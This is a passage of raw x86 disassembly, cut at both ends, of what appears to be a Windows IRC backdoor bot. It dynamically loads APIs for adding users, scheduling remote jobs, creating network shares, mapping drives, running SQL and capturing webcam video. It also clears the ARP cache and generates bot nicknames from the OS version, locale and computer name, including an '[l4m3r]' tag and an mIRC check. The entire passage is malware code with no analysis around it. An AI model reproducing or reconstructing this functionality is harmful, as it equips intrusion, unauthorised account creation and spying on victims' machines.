"HttpOpenRequestA" push edi mov dword_4CE1CC, eax call esi ; GetProcAddress push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_4CE2D0, eax call esi ; GetProcAddress push offset aInternetconnec ; "InternetConnectA" push edi mov dword_4CE27C, eax call esi ; GetProcAddress push offset aInternetopena ; "InternetOpenA" push edi mov dword_4CE2DC, eax call esi ; GetProcAddress push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4CE2A0, eax call esi ; GetProcAddress push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_4CE20C, eax call esi ; GetProcAddress push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_4CE204, eax call esi ; GetProcAddress push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_4CE214, eax call esi ; GetProcAddress cmp dword_4CE244, ebx mov ecx, dword_4CE2A0 mov dword_4CE33C, eax jz short loc_40A09E cmp dword_4CE1CC, ebx jz short loc_40A09E cmp dword_4CE2D0, ebx jz short loc_40A09E cmp dword_4CE27C, ebx jz short loc_40A09E cmp dword_4CE2DC, ebx jz short loc_40A09E cmp ecx, ebx jz short loc_40A09E cmp dword_4CE20C, ebx jz short loc_40A09E cmp dword_4CE204, ebx jz short loc_40A09E cmp dword_4CE214, ebx jz short loc_40A09E cmp eax, ebx jnz short loc_40A0A8 loc_40A09E: ; CODE XREF: sub_4097DE+87Ej ; sub_4097DE+886j ... mov dword_4CE3EC, 1 loc_40A0A8: ; CODE XREF: sub_4097DE+8BEj cmp ecx, ebx jz short loc_40A0DD push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx ; InternetOpenA cmp eax, ebx mov dword_4CE2B8, eax jnz short loc_40A0DD jmp short loc_40A0D7 ; --------------------------------------------------------------------------- loc_40A0C2: ; CODE XREF: sub_4097DE+7EAj call dword_428094 ; RtlGetLastWin32Error mov dword_4CE3F0, eax mov dword_4CE3EC, 1 loc_40A0D7: ; CODE XREF: sub_4097DE+8E2j mov dword_4CE2B8, ebx loc_40A0DD: ; CODE XREF: sub_4097DE+8CCj ; sub_4097DE+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A127 push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi ; GetProcAddress push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4CE290, eax call esi ; GetProcAddress push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_4CE3BC, eax call esi ; GetProcAddress cmp dword_4CE290, ebx mov dword_4CE220, eax jz short loc_40A132 cmp dword_4CE3BC, ebx jz short loc_40A132 cmp eax, ebx jnz short loc_40A13C jmp short loc_40A132 ; --------------------------------------------------------------------------- loc_40A127: ; CODE XREF: sub_4097DE+90Aj call dword_428094 ; RtlGetLastWin32Error mov dword_4CE3F8, eax loc_40A132: ; CODE XREF: sub_4097DE+939j ; sub_4097DE+941j ... mov dword_4CE3F4, 1 loc_40A13C: ; CODE XREF: sub_4097DE+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40A243 push offset aNetshareadd ; "NetShareAdd" push edi call esi ; GetProcAddress push offset aNetsharedel ; "NetShareDel" push edi mov dword_4CE1FC, eax call esi ; GetProcAddress push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4CE1D4, eax call esi ; GetProcAddress push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_4CE24C, eax call esi ; GetProcAddress push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_4CE280, eax call esi ; GetProcAddress push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_4CE398, eax call esi ; GetProcAddress push offset aNetuseradd ; "NetUserAdd" push edi mov dword_4CE234, eax call esi ; GetProcAddress push offset aNetuserdel ; "NetUserDel" push edi mov dword_4CE1E0, eax call esi ; GetProcAddress push offset aNetuserenum ; "NetUserEnum" push edi mov dword_4CE1D0, eax call esi ; GetProcAddress push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_4CE268, eax call esi ; GetProcAddress push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_4CE360, eax call esi ; GetProcAddress push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov dword_4CE318, eax call esi ; GetProcAddress cmp dword_4CE1FC, ebx mov dword_4CE23C, eax jz short loc_40A24E cmp dword_4CE1D4, ebx jz short loc_40A24E cmp dword_4CE24C, ebx jz short loc_40A24E cmp dword_4CE280, ebx jz short loc_40A24E cmp dword_4CE398, ebx jz short loc_40A24E cmp dword_4CE234, ebx jz short loc_40A24E cmp dword_4CE1E0, ebx jz short loc_40A24E cmp dword_4CE1D0, ebx jz short loc_40A24E cmp dword_4CE268, ebx jz short loc_40A24E cmp dword_4CE360, ebx jz short loc_40A24E cmp dword_4CE318, ebx jnz short loc_40A258 jmp short loc_40A24E ; --------------------------------------------------------------------------- loc_40A243: ; CODE XREF: sub_4097DE+969j call dword_428094 ; RtlGetLastWin32Error mov dword_4CE400, eax loc_40A24E: ; CODE XREF: sub_4097DE+A11j ; sub_4097DE+A19j ... mov dword_4CE3FC, 1 loc_40A258: ; CODE XREF: sub_4097DE+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A28D push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi ; GetProcAddress push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_4CE224, eax call esi ; GetProcAddress cmp dword_4CE224, ebx mov dword_4CE300, eax jz short loc_40A298 cmp eax, ebx jnz short loc_40A2A2 jmp short loc_40A298 ; --------------------------------------------------------------------------- loc_40A28D: ; CODE XREF: sub_4097DE+A85j call dword_428094 ; RtlGetLastWin32Error mov dword_4CE408, eax loc_40A298: ; CODE XREF: sub_4097DE+AA7j ; sub_4097DE+AADj mov dword_4CE404, 1 loc_40A2A2: ; CODE XREF: sub_4097DE+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A2D7 push offset aGetipnettable ; "GetIpNetTable" push edi call esi ; GetProcAddress push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_4CE384, eax call esi ; GetProcAddress cmp dword_4CE384, ebx mov dword_4CE380, eax jz short loc_40A2E2 cmp eax, ebx jnz short loc_40A2EC jmp short loc_40A2E2 ; --------------------------------------------------------------------------- loc_40A2D7: ; CODE XREF: sub_4097DE+ACFj call dword_428094 ; RtlGetLastWin32Error mov dword_4CE410, eax loc_40A2E2: ; CODE XREF: sub_4097DE+AF1j ; sub_4097DE+AF7j mov dword_4CE40C, 1 loc_40A2EC: ; CODE XREF: sub_4097DE+AF5j push offset aMpr_dll ; "mpr.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A34B push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi ; GetProcAddress push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_4CE3B0, eax call esi ; GetProcAddress push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4CE3A8, eax call esi ; GetProcAddress push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_4CE370, eax call esi ; GetProcAddress cmp dword_4CE3B0, ebx mov dword_4CE240, eax jz short loc_40A356 cmp dword_4CE3A8, ebx jz short loc_40A356 cmp dword_4CE370, ebx jz short loc_40A356 cmp eax, ebx jnz short loc_40A360 jmp short loc_40A356 ; --------------------------------------------------------------------------- loc_40A34B: ; CODE XREF: sub_4097DE+B19j call dword_428094 ; RtlGetLastWin32Error mov dword_4CE418, eax loc_40A356: ; CODE XREF: sub_4097DE+B55j ; sub_4097DE+B5Dj ... mov dword_4CE414, 1 loc_40A360: ; CODE XREF: sub_4097DE+B69j push offset aShell32_dll ; "shell32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A395 push offset aShellexecutea ; "ShellExecuteA" push edi call esi ; GetProcAddress push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_4CE274, eax call esi ; GetProcAddress cmp dword_4CE274, ebx mov dword_4CE37C, eax jz short loc_40A3A0 cmp eax, ebx jnz short loc_40A3AA jmp short loc_40A3A0 ; --------------------------------------------------------------------------- loc_40A395: ; CODE XREF: sub_4097DE+B8Dj call dword_428094 ; RtlGetLastWin32Error mov dword_4CE420, eax loc_40A3A0: ; CODE XREF: sub_4097DE+BAFj ; sub_4097DE+BB5j mov dword_4CE41C, 1 loc_40A3AA: ; CODE XREF: sub_4097DE+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A433 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi ; GetProcAddress push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_4CE344, eax call esi ; GetProcAddress push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_4CE390, eax call esi ; GetProcAddress push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_4CE2CC, eax call esi ; GetProcAddress push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_4CE284, eax call esi ; GetProcAddress push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_4CE324, eax call esi ; GetProcAddress cmp dword_4CE344, ebx mov dword_4CE294, eax jz short loc_40A43E cmp dword_4CE390, ebx jz short loc_40A43E cmp dword_4CE2CC, ebx jz short loc_40A43E cmp dword_4CE284, ebx jz short loc_40A43E cmp dword_4CE324, ebx jz short loc_40A43E cmp eax, ebx jnz short loc_40A448 jmp short loc_40A43E ; --------------------------------------------------------------------------- loc_40A433: ; CODE XREF: sub_4097DE+BD7j call dword_428094 ; RtlGetLastWin32Error mov dword_4CE428, eax loc_40A43E: ; CODE XREF: sub_4097DE+C2Dj ; sub_4097DE+C35j ... mov dword_4CE424, 1 loc_40A448: ; CODE XREF: sub_4097DE+C51j push offset aAvicap32_dll ; "avicap32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A47D push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi ; GetProcAddress push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_4CE258, eax call esi ; GetProcAddress cmp dword_4CE258, ebx mov dword_4CE338, eax jz short loc_40A488 cmp eax, ebx jnz short loc_40A492 jmp short loc_40A488 ; --------------------------------------------------------------------------- loc_40A47D: ; CODE XREF: sub_4097DE+C75j call dword_428094 ; RtlGetLastWin32Error mov dword_4CE430, eax loc_40A488: ; CODE XREF: sub_4097DE+C97j ; sub_4097DE+C9Dj mov dword_4CE42C, 1 loc_40A492: ; CODE XREF: sub_4097DE+C9Bj pop edi xor eax, eax pop esi pop ebp inc eax pop ebx retn sub_4097DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A49A proc near ; CODE XREF: sub_401AA1+24D4p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_4CE3C4, esi push edi mov edi, [ebp+arg_8] jz short loc_40A4E2 push dword_4CE3C8 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_41BEF6 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409743 add esp, 20h loc_40A4E2: ; CODE XREF: sub_40A49A+1Aj cmp dword_4CE3CC, esi jz short loc_40A516 push dword_4CE3D0 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_41BEF6 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409743 add esp, 20h loc_40A516: ; CODE XREF: sub_40A49A+4Ej cmp dword_4CE3D4, esi jz short loc_40A54A push dword_4CE3D8 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_41BEF6 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409743 add esp, 20h loc_40A54A: ; CODE XREF: sub_40A49A+82j cmp dword_4CE3DC, esi jz short loc_40A57E push dword_4CE3E0 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_41BEF6 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409743 add esp, 20h loc_40A57E: ; CODE XREF: sub_40A49A+B6j cmp dword_4CE3E4, esi jz short loc_40A5B2 push dword_4CE3E8 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_41BEF6 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409743 add esp, 20h loc_40A5B2: ; CODE XREF: sub_40A49A+EAj cmp dword_4CE3EC, esi jz short loc_40A5E6 push dword_4CE3F0 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_41BEF6 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409743 add esp, 20h loc_40A5E6: ; CODE XREF: sub_40A49A+11Ej cmp dword_4CE3F4, esi jz short loc_40A61A push dword_4CE3F8 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_41BEF6 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409743 add esp, 20h loc_40A61A: ; CODE XREF: sub_40A49A+152j cmp dword_4CE3FC, esi jz short loc_40A64E push dword_4CE400 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_41BEF6 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409743 add esp, 20h loc_40A64E: ; CODE XREF: sub_40A49A+186j cmp dword_4CE404, esi jz short loc_40A682 push dword_4CE408 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_41BEF6 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409743 add esp, 20h loc_40A682: ; CODE XREF: sub_40A49A+1BAj cmp dword_4CE40C, esi jz short loc_40A6B6 push dword_4CE410 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_41BEF6 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409743 add esp, 20h loc_40A6B6: ; CODE XREF: sub_40A49A+1EEj cmp dword_4CE414, esi jz short loc_40A6EA push dword_4CE418 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_41BEF6 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409743 add esp, 20h loc_40A6EA: ; CODE XREF: sub_40A49A+222j cmp dword_4CE41C, esi jz short loc_40A71E push dword_4CE420 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_41BEF6 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409743 add esp, 20h loc_40A71E: ; CODE XREF: sub_40A49A+256j cmp dword_4CE424, esi jz short loc_40A752 push dword_4CE428 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_41BEF6 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409743 add esp, 20h loc_40A752: ; CODE XREF: sub_40A49A+28Aj cmp dword_4CE42C, esi jz short loc_40A786 push dword_4CE430 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_41BEF6 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409743 add esp, 20h loc_40A786: ; CODE XREF: sub_40A49A+2BEj lea eax, [ebp+var_200] push offset dword_42FEEC push eax call sub_41BEF6 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40A7B3 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409743 add esp, 14h loc_40A7B3: ; CODE XREF: sub_40A49A+302j lea eax, [ebp+var_200] push eax call sub_415F45 pop ecx pop edi pop esi pop ebx leave retn sub_40A49A endp ; =============== S U B R O U T I N E ======================================= sub_40A7C5 proc near ; CODE XREF: sub_4017BF+4Fp ; sub_401AA1+5BA0p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CE348 ; inet_addr cmp eax, 0FFFFFFFFh jnz short locret_40A7ED push [esp+arg_0] call dword_4CE38C ; gethostbyname test eax, eax jnz short loc_40A7E6 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40A7E6: ; CODE XREF: sub_40A7C5+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40A7ED: ; CODE XREF: sub_40A7C5+Dj retn sub_40A7C5 endp ; =============== S U B R O U T I N E ======================================= sub_40A7EE proc near ; CODE XREF: sub_4017BF+D6p mov ecx, dword_4CE224 xor eax, eax test ecx, ecx jz short locret_40A7FC jmp ecx ; --------------------------------------------------------------------------- locret_40A7FC: ; CODE XREF: sub_40A7EE+Aj retn sub_40A7EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A7FD proc near ; CODE XREF: sub_401AA1:loc_403E94p var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx xor ebx, ebx push esi inc ebx push edi lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_4CE384 ; GetIpNetTable mov ecx, eax sub ecx, edi jz short loc_40A884 sub ecx, 32h jz loc_40A8CE sub ecx, 48h jz short loc_40A859 sub ecx, 6Eh jz short loc_40A852 loc_40A83B: ; CODE XREF: sub_40A7FD+85j push eax lea eax, [ebp+var_88] push offset unk_43011C push eax call sub_41BEF6 add esp, 0Ch jmp short loc_40A8AF ; --------------------------------------------------------------------------- loc_40A852: ; CODE XREF: sub_40A7FD+3Cj push offset unk_4300F8 jmp short loc_40A8A1 ; --------------------------------------------------------------------------- loc_40A859: ; CODE XREF: sub_40A7FD+37j push [ebp+var_8] call sub_41BB45 push [ebp+var_8] mov esi, eax push edi push esi call sub_41BC00 add esp, 10h cmp esi, edi jz short loc_40A89C lea eax, [ebp+var_8] push ebx push eax push esi call dword_4CE384 ; GetIpNetTable cmp eax, edi jnz short loc_40A83B loc_40A884: ; CODE XREF: sub_40A7FD+29j cmp [esi], edi jbe short loc_40A8BF lea ebx, [esi+4] loc_40A88B: ; CODE XREF: sub_40A7FD+9Bj push ebx call dword_4CE380 ; DeleteIpNetEntry inc edi add ebx, 18h cmp edi, [esi] jb short loc_40A88B jmp short loc_40A8BF ; --------------------------------------------------------------------------- loc_40A89C: ; CODE XREF: sub_40A7FD+75j push offset unk_4300C8 loc_40A8A1: ; CODE XREF: sub_40A7FD+5Aj ; sub_40A7FD+D6j lea eax, [ebp+var_88] push eax call sub_41BEF6 pop ecx pop ecx loc_40A8AF: ; CODE XREF: sub_40A7FD+53j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_415F45 pop ecx loc_40A8BF: ; CODE XREF: sub_40A7FD+89j ; sub_40A7FD+9Dj push esi call sub_41B721 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40A8CE: ; CODE XREF: sub_40A7FD+2Ej push offset unk_430098 jmp short loc_40A8A1 sub_40A7FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A8D5 proc near ; CODE XREF: sub_401AA1+219Ap ; sub_401AA1+22D1p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_41BC00 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_4CE2AC ; getsockname movzx eax, [ebp+var_D] push eax mov esi, offset dword_4CE434 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_41BEF6 add esp, 18h mov eax, esi pop esi leave retn sub_40A8D5 endp ; =============== S U B R O U T I N E ======================================= sub_40A92E proc near ; CODE XREF: sub_4138D3+24Cp ; sub_4138D3+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] xor edx, edx cmp ecx, 1 push esi jle short loc_40A959 lea eax, [ecx-2] push edi shr eax, 1 inc eax mov esi, eax neg esi lea ecx, [ecx+esi*2] mov esi, [esp+8+arg_0] loc_40A94C: ; CODE XREF: sub_40A92E+26j movzx edi, word ptr [esi] add edx, edi inc esi inc esi dec eax jnz short loc_40A94C pop edi jmp short loc_40A95D ; --------------------------------------------------------------------------- loc_40A959: ; CODE XREF: sub_40A92E+Aj mov esi, [esp+4+arg_0] loc_40A95D: ; CODE XREF: sub_40A92E+29j test ecx, ecx jz short loc_40A966 movzx eax, byte ptr [esi] add edx, eax loc_40A966: ; CODE XREF: sub_40A92E+31j mov ecx, edx and edx, 0FFFFh shr ecx, 10h add ecx, edx pop esi mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40A92E endp ; =============== S U B R O U T I N E ======================================= sub_40A97E proc near ; CODE XREF: sub_40AD20+4Dp ; DATA XREF: .XPack0:off_430168o arg_0 = dword ptr 4 push esi push edi call dword_4280B0 ; GetTickCount push eax call sub_41BF48 call sub_41BF52 xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+0Ch+arg_0] push off_4301E8[edx*4] push offset aS_2 ; "%s" push 1Ch push edi call sub_41BFF0 xor esi, esi add esp, 14h cmp dword_42A984, esi jle short loc_40A9E5 loc_40A9BF: ; CODE XREF: sub_40A97E+65j call sub_41BF52 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42DAB0 push 1Ch push edi call sub_41BFF0 add esp, 14h inc esi cmp esi, dword_42A984 jl short loc_40A9BF loc_40A9E5: ; CODE XREF: sub_40A97E+3Fj mov eax, edi pop edi pop esi retn sub_40A97E endp ; --------------------------------------------------------------------------- push esi push edi call dword_4280B0 ; GetTickCount push eax call sub_41BF48 mov edi, [esp+10h] mov dword ptr [esp], offset aL4m3r ; "[l4m3r]" push offset aS_2 ; "%s" push 1Ch push edi call sub_41BFF0 xor esi, esi add esp, 10h cmp dword_42A984, esi jle short loc_40AA43 loc_40AA1D: ; CODE XREF: .XPack0:0040AA41j call sub_41BF52 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42DAB0 push 1Ch push edi call sub_41BFF0 add esp, 14h inc esi cmp esi, dword_42A984 jl short loc_40AA1D loc_40AA43: ; CODE XREF: .XPack0:0040AA1Bj mov eax, edi pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_40AA48 proc near ; CODE XREF: sub_401AA1+68A0p arg_0 = dword ptr 4 push ebx push esi push edi call dword_4280B0 ; GetTickCount push eax call sub_41BF48 pop ecx call sub_41BF52 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_42A984 test esi, esi jle short loc_40AA8B loc_40AA75: ; CODE XREF: sub_40AA48+41j call sub_41BF52 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40AA75 loc_40AA8B: ; CODE XREF: sub_40AA48+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_40AA48 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi push edi mov dword ptr [ebp-4], 100h call dword_4280B0 ; GetTickCount push eax call sub_41BF48 pop ecx lea eax, [ebp-4] mov esi, offset aPc ; "PC" push eax push esi call dword_4280C8 ; GetComputerNameA mov edi, [ebp+8] push esi push 1Ch push edi call sub_41BFF0 xor esi, esi add esp, 0Ch cmp dword_42A984, esi jle short loc_40AAFE loc_40AAD8: ; CODE XREF: .XPack0:0040AAFCj call sub_41BF52 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42DAB0 push 1Ch push edi call sub_41BFF0 add esp, 14h inc esi cmp esi, dword_42A984 jl short loc_40AAD8 loc_40AAFE: ; CODE XREF: .XPack0:0040AAD6j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call dword_4280B0 ; GetTickCount push eax call sub_41BF48 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h call dword_4280CC ; GetLocaleInfoA mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset aS_3 ; "%s|" push 1Ch push edi call sub_41BFF0 xor esi, esi add esp, 10h cmp dword_42A984, esi jle short loc_40AB73 loc_40AB4D: ; CODE XREF: .XPack0:0040AB71j call sub_41BF52 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42DAB0 push 1Ch push edi call sub_41BFF0 add esp, 14h inc esi cmp esi, dword_42A984 jl short loc_40AB4D loc_40AB73: ; CODE XREF: .XPack0:0040AB4Bj mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset byte_4404C4 mov dword ptr [ebp-94h], 94h call dword_4280D0 ; GetVersionExA call dword_4280B0 ; GetTickCount push eax call sub_41BF48 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_40ABFD cmp dword ptr [ebp-8Ch], 0 jnz short loc_40ABDD cmp dword ptr [ebp-84h], 1 jnz short loc_40ABCD mov esi, offset a95 ; "95" loc_40ABCD: ; CODE XREF: .XPack0:0040ABC6j cmp dword ptr [ebp-84h], 2 jnz short loc_40AC39 mov esi, offset aNt_0 ; "NT" jmp short loc_40AC39 ; --------------------------------------------------------------------------- loc_40ABDD: ; CODE XREF: .XPack0:0040ABBDj cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_40ABED mov esi, offset a98 ; "98" jmp short loc_40AC39 ; --------------------------------------------------------------------------- loc_40ABED: ; CODE XREF: .XPack0:0040ABE4j cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_40AC34 mov esi, offset aMe_0 ; "ME" jmp short loc_40AC39 ; --------------------------------------------------------------------------- loc_40ABFD: ; CODE XREF: .XPack0:0040ABB4j cmp dword ptr [ebp-90h], 5 jnz short loc_40AC34 cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AC16 mov esi, offset a2k ; "2K" jmp short loc_40AC39 ; --------------------------------------------------------------------------- loc_40AC16: ; CODE XREF: .XPack0:0040AC0Dj cmp dword ptr [ebp-8Ch], 1 jnz short loc_40AC26 mov esi, offset aXp_0 ; "XP" jmp short loc_40AC39 ; --------------------------------------------------------------------------- loc_40AC26: ; CODE XREF: .XPack0:0040AC1Dj cmp dword ptr [ebp-8Ch], 2 mov esi, offset a2k3 ; "2K3" jz short loc_40AC39 loc_40AC34: ; CODE XREF: .XPack0:0040ABF4j ; .XPack0:0040AC04j mov esi, offset a??? ; "???" loc_40AC39: ; CODE XREF: .XPack0:0040ABD4j ; .XPack0:0040ABDBj ... mov edi, [ebp+8] push esi push offset aS_4 ; "[%s]|" push 1Ch push edi call sub_41BFF0 xor esi, esi add esp, 10h cmp dword_42A984, esi jle short loc_40AC7D loc_40AC57: ; CODE XREF: .XPack0:0040AC7Bj call sub_41BF52 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42DAB0 push 1Ch push edi call sub_41BFF0 add esp, 14h inc esi cmp esi, dword_42A984 jl short loc_40AC57 loc_40AC7D: ; CODE XREF: .XPack0:0040AC55j mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC83 proc near ; CODE XREF: sub_40AD20+60p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call dword_4280B0 ; GetTickCount xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc_0 ; "mIRC" mov esi, eax call dword_4CE314 ; FindWindowA cmp esi, 64h jbe short loc_40ACD2 test eax, eax mov eax, offset aM_0 ; "[M]" jnz short loc_40ACBB mov eax, offset byte_4404C4 loc_40ACBB: ; CODE XREF: sub_40AC83+31j push eax push esi push offset aDS ; "[%d]%s" lea eax, [ebp+var_1C] push 1Ch push eax call sub_41BFF0 add esp, 14h jmp short loc_40ACEC ; --------------------------------------------------------------------------- loc_40ACD2: ; CODE XREF: sub_40AC83+28j test eax, eax mov eax, offset aM_0 ; "[M]" jnz short loc_40ACE0 mov eax, offset byte_4404C4 loc_40ACE0: ; CODE XREF: sub_40AC83+56j push eax lea eax, [ebp+var_1C] push eax call sub_41BEF6 pop ecx pop ecx loc_40ACEC: ; CODE XREF: sub_40AC83+4Dj lea eax, [ebp+var_1C] push eax call sub_41B650 pop ecx cmp eax, 2 pop esi jbe short loc_40AD1B push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_41C850 lea eax, [ebp+var_1C] push 1Ch push eax push 